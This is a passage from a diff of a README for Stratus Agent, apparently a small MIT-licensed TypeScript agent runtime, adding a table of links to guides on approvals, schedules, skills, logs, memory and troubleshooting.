| Decide what runs unattended, approve the rest from Slack | [Approvals](https://github.com/stratuslabs/agent/blob/main/docs/guides/approvals.md) |
|
|
113
|
+
| Let agents act on their own schedule | [Schedules](https://github.com/stratuslabs/agent/blob/main/docs/guides/schedules.md) |
|
|
114
|
+
| Teach an agent a procedure | [Skills](https://github.com/stratuslabs/agent/blob/main/docs/guides/skills.md) |
|
|
115
|
+
| Run it as a service, read its logs, upgrade it | [Always on](https://github.com/stratuslabs/agent/blob/main/docs/guides/always-on.md) · [Logs](https://github.com/stratuslabs/agent/blob/main/docs/guides/logs.md) · [Updating](https://github.com/stratuslabs/agent/blob/main/docs/guides/updating.md) |
|
|
116
|
+
| Understand souls, ids, and memory | [Agents](https://github.com/stratuslabs/agent/blob/main/docs/concepts/agents.md) · [Memory](https://github.com/stratuslabs/agent/blob/main/docs/concepts/memory.md) |
|
|
117
|
+
| Fix a surprise | [Troubleshooting](https://github.com/stratuslabs/agent/blob/main/docs/guides/troubleshooting.md) |
|
|
118
|
+
|
|
119
|
+
The full index: [docs](https://github.com/stratuslabs/agent/blob/main/docs/README.md).
|
|
120
|
+
|
|
121
|
+
Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny
|
|
122
|
+
TypeScript agent runtime, MIT licensed.
|